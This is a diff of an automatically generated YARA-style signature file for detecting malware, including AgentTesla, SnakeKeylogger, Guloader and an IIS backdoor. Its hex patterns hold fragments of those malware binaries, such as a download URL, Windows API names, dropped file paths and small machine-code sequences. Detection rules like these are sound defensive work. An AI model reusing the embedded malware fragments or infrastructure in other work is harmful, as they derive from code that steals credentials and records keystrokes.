62 00 65 00 72 00 72 00 79 00 02 00 3a 01 77 00 68 00 6f 00 6c 00 65 00 73 00 61 00 6c 00 65 00 6c 00 79 00 20 00 6b 00 61 00 75 00 74 00 69 00 6f 00 6e 00 69 00 73 00 74 00 65 00 6e 00 73 00 2e 00 65 00 78 00 65 00 00 00 78 e8 00 00 06 00 06 00 } //105 + $a_23_7 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 31 37 } //6 STR:Trojan:MSIL/AgentTesla.AMM317 condition: - ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*17264+(#a_80_2 & 1)*-100+(#a_e8_3 & 1)*0+(#a_b5_4 & 1)*-11517+(#a_01_5 & 1)*-32512+(#a_43_6 & 1)*-32482+(#a_65_7 & 1)*30054) >=5 + ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*17264+(#a_80_2 & 1)*-100+(#a_e8_3 & 1)*0+(#a_b5_4 & 1)*-11517+(#a_01_5 & 1)*-32512+(#a_00_6 & 1)*105+(#a_23_7 & 1)*6) >=5 } -rule _InfrastructureShared_15282{ +rule _InfrastructureShared_16281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -176968,17 +188758,27 @@ rule _InfrastructureShared_15282{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 00 01 00 0f 03 2f ff c5 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 66 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 66 90 09 04 00 81 90 01 01 24 } //18467 $a_00_1 = {0f } //144 $a_ab_2 = {90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 66 90 09 04 } //-12285 - $a_01_3 = {01 24 90 00 01 00 0f 03 2f ff c5 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 03 90 09 04 00 81 90 01 01 24 90 00 00 00 78 e8 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d } //-32512 - $a_21_4 = {54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 2d 81 01 41 2e 63 64 31 64 63 37 31 33 63 39 35 37 30 63 34 35 64 61 61 39 64 64 36 64 } //12595 - $a_37_5 = {32 61 31 32 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 } //12601 - $a_31_6 = {36 34 66 01 00 25 81 01 24 38 30 38 37 38 39 61 65 2d 62 37 32 33 2d 34 37 61 33 2d 61 37 39 35 2d 64 64 36 35 61 30 32 35 64 66 36 38 01 00 10 81 01 42 43 } //13111 - $a_42_7 = {48 44 44 48 44 2e 70 64 62 00 00 78 e8 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 42 35 21 4d 54 42 00 01 00 32 01 68 } //17238 - $a_00_9 = {3a 00 2f 00 2f 00 74 00 69 00 6e 00 79 00 2e 00 6f 00 6e 00 65 00 2f 00 79 00 37 00 78 00 61 00 35 00 36 00 77 00 6a 00 01 00 40 01 54 00 69 00 61 00 61 00 77 00 72 00 6b 00 79 00 70 00 6e 00 79 00 73 00 75 00 2e 00 4f 00 6a 00 76 00 61 00 66 00 6c 00 71 00 71 00 71 00 69 00 61 00 76 00 78 00 72 00 61 00 78 00 70 00 61 00 01 00 07 81 01 54 6f } //112 + $a_01_3 = {01 24 90 00 01 00 0f 03 2f ff c5 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 9b 50 f2 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 fd 12 a4 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d0 16 ab 03 90 09 04 00 81 90 01 01 24 90 00 01 00 0f 03 d3 62 b5 03 90 09 04 00 81 90 01 01 24 90 00 00 00 78 e8 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 4e 21 4d } //-32512 + $a_66_5 = {65 } //15872 e + $a_00_7 = {69 00 6f 00 6e 00 20 00 66 00 6c 00 6f 00 6b 00 73 00 69 00 6c 00 6b 00 65 00 72 00 6e 00 65 00 73 00 20 00 67 00 69 00 73 00 66 00 6d 00 6c 00 65 00 02 00 38 01 73 00 6c 00 65 00 65 00 76 00 65 00 64 00 20 00 72 00 6f 00 74 00 69 00 66 00 65 00 72 00 61 00 6c 00 20 00 73 00 74 00 69 00 6e 00 6b 00 62 00 65 00 72 00 72 00 79 00 02 00 3a 01 77 00 } //97 + $a_00_8 = {6c 00 65 00 73 00 61 00 6c 00 65 00 6c 00 79 00 20 00 6b 00 61 00 75 00 74 00 69 00 6f 00 6e 00 69 00 73 00 74 00 65 00 6e 00 73 00 2e 00 65 00 78 00 65 00 00 00 78 e8 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 31 37 21 4d 54 42 00 01 00 10 81 01 46 } //104 + $a_42_9 = {73 65 36 34 53 74 72 69 6e 67 01 00 2d 81 01 41 2e 63 64 31 64 63 37 31 33 63 39 35 37 30 63 34 35 64 61 61 39 64 64 36 64 39 31 37 37 62 32 61 31 32 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 } //28530 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_ab_2 & 1)*-12285+(#a_01_3 & 1)*-32512+(#a_21_4 & 1)*12595+(#a_37_5 & 1)*12601+(#a_31_6 & 1)*13111+(#a_42_7 & 1)*17238+(#a_00_9 & 1)*112) >=5 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_ab_2 & 1)*-12285+(#a_01_3 & 1)*-32512+(#a_66_5 & 1)*15872+(#a_00_7 & 1)*97+(#a_00_8 & 1)*104+(#a_42_9 & 1)*28530) >=5 } -rule _InfrastructureShared_15283{ +rule _InfrastructureShared_16282{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 4e 21 4d 54 42 00 02 00 3e 01 66 00 65 00 6c 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 66 00 6c 00 6f 00 6b 00 73 00 69 00 6c 00 6b 00 65 00 72 00 6e 00 } //16675 + $a_00_1 = {20 00 67 00 69 00 73 00 66 00 6d 00 6c 00 65 00 02 00 38 01 73 00 6c 00 65 00 65 00 76 00 65 00 64 00 20 00 72 00 6f 00 74 00 69 00 66 00 65 00 72 00 61 00 6c 00 20 00 73 00 74 00 69 00 6e 00 6b 00 62 00 65 00 72 00 72 00 79 00 02 00 3a 01 77 00 68 00 6f 00 6c 00 65 00 73 00 61 00 6c 00 65 00 6c 00 79 00 20 00 6b 00 61 00 75 00 74 00 69 00 6f } //101 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101) >=6 + +} +rule _InfrastructureShared_16283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -176993,7 +188793,7 @@ rule _InfrastructureShared_15283{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25700+(#a_34_2 & 1)*12334+(#a_64_3 & 1)*12848+(#a_65_4 & 1)*16687+(#a_00_5 & 1)*79) >=6 } -rule _InfrastructureShared_15284{ +rule _InfrastructureShared_16284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -177007,7 +188807,7 @@ rule _InfrastructureShared_15284{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_15285{ +rule _InfrastructureShared_16285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -177022,7 +188822,7 @@ rule _InfrastructureShared_15285{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*385+(#a_6e_2 & 1)*23589+(#a_65_3 & 1)*385+(#a_65_4 & 1)*29285+(#a_65_5 & 1)*16687) >=6 } -rule _InfrastructureShared_15286{ +rule _InfrastructureShared_16286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -177037,7 +188837,7 @@ rule _InfrastructureShared_15286{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25966+(#a_74_2 & 1)*28265+(#a_5f_3 & 1)*26977+(#a_00_4 & 1)*108+(#a_61_5 & 1)*25701) >=6 } -rule _InfrastructureShared_15287{ +rule _InfrastructureShared_16287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -177051,7 +188851,7 @@ rule _InfrastructureShared_15287{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*28018+(#a_76_3 & 1)*18689+(#a_74_5 & 1)*28499+(#a_2e_6 & 1)*29550) >=6 } -rule _InfrastructureShared_15288{ +rule _InfrastructureShared_16288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -177069,7 +188869,7 @@ rule _InfrastructureShared_15288{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*25959+(#a_6e_2 & 1)*28245+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_e8_7 & 1)*0+(#a_6d_8 & 1)*25710) >=6 } -rule _InfrastructureShared_15289{ +rule _InfrastructureShared_16289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -177078,29 +188878,45 @@ rule _InfrastructureShared_15289{ $a_01_1 = {00 0e 01 54 65 78 74 73 5c 4d 61 69 6e 2e 74 78 74 01 00 1f 01 5c 4f 70 65 72 61 5c 4f 70 65 72 61 5c 70 72 6f 66 69 6c 65 5c 6f 70 65 72 61 36 2e 69 6e 69 01 00 24 01 75 73 65 72 5f 70 72 65 66 28 22 62 72 6f 77 73 65 72 2e 73 74 61 72 74 75 70 2e 68 6f 6d 65 70 61 67 65 22 01 00 2a 01 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c } //30836 $a_65_2 = {6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 4d 61 69 6e 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 53 53 48 21 4d 54 42 00 01 00 24 81 01 63 31 66 31 33 64 30 33 2d 33 64 34 63 2d 34 33 65 66 2d 61 32 66 31 2d 35 34 35 32 31 37 36 35 34 30 62 33 01 00 36 81 } //28233 $a_44_3 = {53 2e 43 68 61 70 31 30 2e 54 68 72 65 65 53 74 61 67 65 54 61 6e 64 65 6d 4c 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 81 01 53 70 6c 69 74 01 00 0c 81 01 67 } //19713 - $a_41_4 = {73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 13 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 33 31 21 4d 54 42 00 01 00 15 } //29797 - $a_6f_5 = {61 6c 20 41 6c 75 6d 69 6e 69 75 6d 66 6f 6c 69 65 72 01 00 1b 81 01 53 6b 61 6b 74 65 72 6e 65 64 65 20 4e 6f 6e 6d 61 6e 6e 65 72 65 64 2e 65 78 65 01 00 22 81 01 75 64 6d 75 67 6e 69 6e 67 65 72 6e 65 73 20 53 69 67 68 74 73 6d 61 6e 20 } //385 - $a_69_6 = {69 74 65 74 01 00 18 81 01 47 75 74 73 69 65 72 20 53 6f 6c 73 6f 72 74 65 73 61 6e 67 65 6e 65 73 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 0e 01 53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 01 00 18 01 53 65 74 44 65 66 61 75 6c 74 44 6c 6c 44 69 72 65 63 74 6f 72 69 65 73 00 00 78 e8 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 } //24908 + $a_41_4 = {73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 13 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 36 31 32 21 4d 54 42 00 01 00 18 81 01 5c } //29797 + $a_6e_5 = {5c 66 6f 72 75 6e 64 72 69 6e 67 65 72 73 2e 65 78 65 01 00 10 81 01 74 70 70 65 6e 64 65 5c 74 68 75 72 2e 7a 69 70 01 00 1d 81 01 5c 6f 70 73 70 72 74 74 65 6b 6e 69 76 65 6e 5c 46 73 74 65 72 6e 65 35 38 2e 6c 6e 6b 01 00 20 81 01 5c 70 61 72 61 67 72 61 70 68 69 73 74 5c 4d 61 76 65 66 6f 72 6b 6c } //29301 + $a_65_6 = {2e 69 6e 69 01 00 10 81 01 5c 4e 6f 76 65 6d 62 65 72 69 73 68 2e 65 78 65 01 00 0c 81 01 5c 65 76 65 72 74 65 64 2e 68 74 6d 01 00 1b 81 01 5c 6f 76 65 72 74 68 65 6f 72 69 7a 65 64 5c 63 61 66 66 6c 69 6e 67 2e 62 69 6e 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 } //27749 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30836+(#a_65_2 & 1)*28233+(#a_44_3 & 1)*19713+(#a_41_4 & 1)*29797+(#a_6f_5 & 1)*385+(#a_69_6 & 1)*24908) >=7 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*30836+(#a_65_2 & 1)*28233+(#a_44_3 & 1)*19713+(#a_41_4 & 1)*29797+(#a_6e_5 & 1)*29301+(#a_65_6 & 1)*27749) >=7 } -rule _InfrastructureShared_15290{ +rule _InfrastructureShared_16290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4b 65 79 6c 6f 67 67 65 72 2e 53 53 53 48 21 4d 54 42 00 01 00 24 81 01 63 31 66 31 33 64 30 33 2d 33 64 34 63 2d 34 33 65 66 2d 61 32 66 31 2d 35 34 35 32 31 37 36 35 34 30 62 } //16675 $a_44_2 = {53 2e 43 68 61 70 31 30 2e 54 68 72 65 65 53 74 61 67 65 54 61 6e 64 65 6d 4c 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 01 00 0c 81 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 05 81 01 53 70 6c 69 74 01 00 0c 81 01 67 } //19713 - $a_41_3 = {73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 13 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 33 31 21 4d 54 42 00 01 00 15 } //29797 - $a_6f_4 = {61 6c 20 41 6c 75 6d 69 6e 69 75 6d 66 6f 6c 69 65 72 01 00 1b 81 01 53 6b 61 6b 74 65 72 6e 65 64 65 20 4e 6f 6e 6d 61 6e 6e 65 72 65 64 2e 65 78 65 01 00 22 81 01 75 64 6d 75 67 6e 69 6e 67 65 72 6e 65 73 20 53 69 67 68 74 73 6d 61 6e 20 } //385 - $a_69_5 = {69 74 65 74 01 00 18 81 01 47 75 74 73 69 65 72 20 53 6f 6c 73 6f 72 74 65 73 61 6e 67 65 6e 65 73 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 0e 01 53 63 72 65 65 6e 54 6f 43 6c 69 65 6e 74 01 00 18 01 53 65 74 44 65 66 61 75 6c 74 44 6c 6c 44 69 72 65 63 74 6f 72 69 65 73 00 00 78 e8 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 } //24908 - $a_6e_6 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 54 47 58 31 21 4d 54 42 00 01 00 25 81 01 24 39 33 38 31 66 30 34 31 2d 34 61 33 32 2d 34 37 36 31 2d 62 61 37 35 2d 37 62 30 32 62 32 36 32 61 63 61 64 01 00 15 81 01 4f 72 64 65 72 2d 49 4e 51 2d 30 36 31 30 78 6c 73 2e 65 78 65 01 00 10 81 } //27247 + $a_41_3 = {73 65 6d 62 6c 79 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 13 81 01 49 6e 69 74 69 61 6c 69 7a 65 43 6f 6d 70 6f 6e 65 6e 74 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 36 31 32 21 4d 54 42 00 01 00 18 81 01 5c } //29797 + $a_6e_4 = {5c 66 6f 72 75 6e 64 72 69 6e 67 65 72 73 2e 65 78 65 01 00 10 81 01 74 70 70 65 6e 64 65 5c 74 68 75 72 2e 7a 69 70 01 00 1d 81 01 5c 6f 70 73 70 72 74 74 65 6b 6e 69 76 65 6e 5c 46 73 74 65 72 6e 65 35 38 2e 6c 6e 6b 01 00 20 81 01 5c 70 61 72 61 67 72 61 70 68 69 73 74 5c 4d 61 76 65 66 6f 72 6b 6c } //29301 + $a_65_5 = {2e 69 6e 69 01 00 10 81 01 5c 4e 6f 76 65 6d 62 65 72 69 73 68 2e 65 78 65 01 00 0c 81 01 5c 65 76 65 72 74 65 64 2e 68 74 6d 01 00 1b 81 01 5c 6f 76 65 72 74 68 65 6f 72 69 7a 65 64 5c 63 61 66 66 6c 69 6e 67 2e 62 69 6e 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 } //27749 + $a_4d_6 = {42 00 01 00 15 81 01 50 6f 6b 61 6c 20 41 6c 75 6d 69 6e 69 75 6d 66 6f 6c 69 65 72 01 00 1b 81 01 } //12595 condition: - ((#a_46_0 & 1)*16675+(#a_44_2 & 1)*19713+(#a_41_3 & 1)*29797+(#a_6f_4 & 1)*385+(#a_69_5 & 1)*24908+(#a_6e_6 & 1)*27247) >=7 + ((#a_46_0 & 1)*16675+(#a_44_2 & 1)*19713+(#a_41_3 & 1)*29797+(#a_6e_4 & 1)*29301+(#a_65_5 & 1)*27749+(#a_4d_6 & 1)*12595) >=7 } -rule _InfrastructureShared_15291{ +rule _InfrastructureShared_16291{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 36 31 32 21 4d 54 42 00 01 00 18 81 01 5c 75 72 65 6e 73 5c 66 6f 72 75 6e 64 72 69 6e 67 65 72 73 2e 65 78 65 01 00 10 81 01 74 70 70 65 6e 64 65 5c 74 68 75 72 2e 7a 69 70 01 00 1d 81 01 5c } //18467 + $a_70_1 = {74 74 65 6b 6e 69 76 65 6e 5c 46 73 74 65 72 6e 65 35 38 2e 6c 6e 6b 01 00 20 81 01 5c 70 61 72 61 67 72 61 70 68 69 73 74 5c 4d 61 76 65 66 6f 72 6b 6c 65 6c 73 65 6e 2e 69 6e 69 01 00 10 81 01 5c 4e 6f 76 65 6d 62 65 72 69 73 68 2e 65 78 65 01 00 0c 81 01 5c 65 76 65 72 74 65 64 2e 68 74 6d 01 00 1b 81 01 5c 6f 76 65 72 74 68 65 6f 72 69 7a } //28783 + $a_63_2 = {66 66 6c 69 6e 67 2e 62 69 6e 00 00 78 e8 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4d 31 39 30 35 32 33 31 21 4d 54 42 00 01 00 15 81 01 50 6f 6b 61 6c 20 41 6c 75 6d 69 6e 69 75 6d 66 6f 6c 69 65 72 01 00 1b 81 01 53 6b 61 } //25701 + $a_72_3 = {65 64 65 20 4e 6f 6e 6d 61 6e 6e 65 72 65 64 2e 65 78 65 01 00 22 81 01 75 64 6d 75 67 6e 69 6e 67 65 72 6e 65 73 20 53 69 67 68 74 73 6d 61 6e 20 4c 61 74 69 6e 69 74 65 74 01 00 18 81 01 47 75 74 73 69 65 72 20 53 6f 6c 73 6f 72 74 65 73 61 6e 67 65 6e 65 73 01 00 0c 01 43 72 65 61 74 65 54 68 72 65 } //29803 + $a_00_4 = {0e } //25697 + $a_72_5 = {65 6e 54 6f 43 6c 69 65 6e 74 01 00 18 01 53 65 74 44 65 66 61 75 6c 74 44 6c 6c 44 69 72 65 63 74 6f 72 69 65 73 00 00 78 e8 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 54 47 58 31 21 4d 54 42 00 01 00 25 81 01 24 39 33 38 31 } //21249 + $a_31_6 = {34 61 33 32 2d 34 37 36 31 2d 62 61 37 35 2d 37 62 30 32 62 32 36 32 61 63 61 64 01 00 15 81 01 4f 72 64 65 72 2d 49 4e 51 2d 30 36 31 30 78 6c 73 2e 65 78 } //12390 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28783+(#a_63_2 & 1)*25701+(#a_72_3 & 1)*29803+(#a_00_4 & 1)*25697+(#a_72_5 & 1)*21249+(#a_31_6 & 1)*12390) >=7 + +} +rule _InfrastructureShared_16292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -177115,7 +188931,7 @@ rule _InfrastructureShared_15291{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*11876+(#a_44_3 & 1)*25939+(#a_64_4 & 1)*20225+(#a_81_5 & 1)*1+(#a_e8_6 & 1)*0) >=7 } -rule _InfrastructureShared_15292{ +rule _InfrastructureShared_16293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -177132,7 +188948,7 @@ rule _InfrastructureShared_15292{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*29285+(#a_35_2 & 1)*14149+(#a_64_3 & 1)*29811+(#a_41_4 & 1)*17222+(#a_49_5 & 1)*17268+(#a_01_6 & 1)*-28440+(#a_01_7 & 1)*-28587) >=8 } -rule _InfrastructureShared_15293{ +rule _InfrastructureShared_16294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -177143,15 +188959,15 @@ rule _InfrastructureShared_15293{ $a_39_3 = {4d 54 42 00 0a 00 b9 02 8a d0 80 e2 90 01 01 c0 e8 90 01 01 88 55 90 01 01 88 45 90 01 01 8a 46 90 01 01 8a d0 80 e2 90 01 01 c0 e2 90 01 01 08 55 90 } //17474 $a_e8_4 = {01 01 8a d0 8a 06 8a d8 80 e3 90 01 01 c0 e3 90 01 01 0a d3 c0 e8 90 01 01 88 45 90 01 01 8b 45 90 01 01 29 45 90 01 01 03 f0 48 74 90 01 01 48 74 90 01 01 90 18 8b 1d 90 01 04 0f b6 45 90 1b 0c 8a 04 18 88 01 0f b6 c2 8b 15 90 1b 12 8a 04 10 41 88 01 0f b6 45 90 1b 03 8b 15 90 1b 12 8a 04 10 41 88 01 0f b6 45 90 1b 02 8b 15 90 1b 12 8a 04 10 8b 55 90 1b 0e 41 88 01 03 3d 90 01 04 41 83 fa 90 01 01 0f 83 90 00 00 00 78 e8 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 53 68 61 72 70 53 74 61 74 73 2e 42 00 0a 00 33 81 01 5c 49 49 53 } //795 $a_6b_5 = {6f 6f 72 5c 41 6e 74 53 77 6f 72 64 43 75 73 74 6f 6d 49 49 53 42 61 63 6b 64 6f 6f 72 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 05 00 40 81 01 4f 76 48 4d 49 31 72 45 52 71 37 4a 2f 57 7a 50 77 30 44 47 58 63 62 79 6f 6a 64 53 6e 73 39 41 51 74 55 75 2b 65 32 46 4e 78 56 43 4b 59 4c 70 36 5a 6d 6c } //24898 - $a_34_6 = {42 6b 35 66 33 38 68 05 00 3d 81 01 3c 21 2d 2d 20 7a 77 65 5a 35 31 4f 59 46 79 69 52 47 4b 4a 34 39 59 4f 61 58 31 47 6c 6e 55 4d 41 64 6f 62 48 5f 55 6a 50 52 34 74 78 37 74 71 58 52 46 46 42 41 62 54 5f 20 2d 2d 3e 00 00 78 e8 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //26452 - $a_6c_7 = {61 64 65 72 2e 4b 46 46 4f 31 32 33 21 4d 54 42 00 01 00 14 81 01 64 79 73 70 68 61 73 69 63 20 62 79 7a 61 6e 74 69 6e 73 6b 01 00 07 81 01 67 6c 6f 73 73 61 72 01 00 09 81 01 66 6f 72 61 65 6c 64 72 65 01 00 0f 81 01 73 76 69 74 73 65 74 20 64 69 61 74 6f 6d 61 01 00 12 81 01 53 6f 66 74 77 61 72 65 5c 74 61 6b 74 6c 73 65 73 74 01 00 09 81 01 44 } //18223 - $a_68_8 = {61 64 73 01 00 12 81 01 5c 73 70 69 6b 65 6c 69 6b 65 5c 45 6d 68 74 74 65 6e 01 00 13 81 01 48 61 6e 64 6c 65 66 72 69 68 65 64 65 6e 73 2e 61 62 6c 01 00 0b 81 01 4d 61 67 74 65 72 73 2e 74 78 74 01 00 0e 81 01 5c 4c 61 6e 67 75 73 74 5c 47 72 61 64 65 00 00 78 e8 00 00 1f 00 15 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //30066 - $a_6e_9 = {32 2f 56 65 62 7a 65 6e 70 61 6b 2e 53 49 42 21 4d 54 42 00 0a 00 41 02 74 00 61 00 62 00 64 00 6f 00 63 00 6b 00 90 02 02 5c 00 54 00 61 00 62 00 44 00 6f 00 63 00 6b 00 90 02 02 5c 00 53 00 6f 00 75 00 72 00 63 00 65 00 5c 00 90 02 06 2e 00 76 00 62 00 70 00 90 00 0a 00 1d 02 54 61 62 44 6f 63 6b 48 6f 73 74 5c } //22330 + $a_34_6 = {42 6b 35 66 33 38 68 05 00 3d 81 01 3c 21 2d 2d 20 7a 77 65 5a 35 31 4f 59 46 79 69 52 47 4b 4a 34 39 59 4f 61 58 31 47 6c 6e 55 4d 41 64 6f 62 48 5f 55 6a 50 52 34 74 78 37 74 71 58 52 46 46 42 41 62 54 5f 20 2d 2d 3e 00 00 78 e8 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //26452 + $a_6e_7 = {34 2f 41 64 61 70 74 69 78 43 32 2e 53 58 21 4d 54 42 00 05 00 54 03 48 8d 95 a0 fe ff ff b8 00 00 00 00 b9 23 00 00 00 48 89 d7 f3 48 ab 48 89 fa 89 02 48 83 c2 04 c7 85 a0 fe ff ff 1c 01 00 00 48 8b 05 90 01 04 48 8b 00 4c 8b 50 20 48 8d 45 c4 41 b9 00 00 00 00 41 b8 0c 00 00 00 48 89 c2 b9 01 00 00 00 41 ff d2 } //22330 + $a_00_8 = {27 01 ff } //144 + $a_50_9 = {ff ff 48 63 d0 48 69 d2 89 88 88 88 48 c1 ea 20 01 c2 c1 fa 05 c1 f8 1f 29 d0 88 45 ff 0f b6 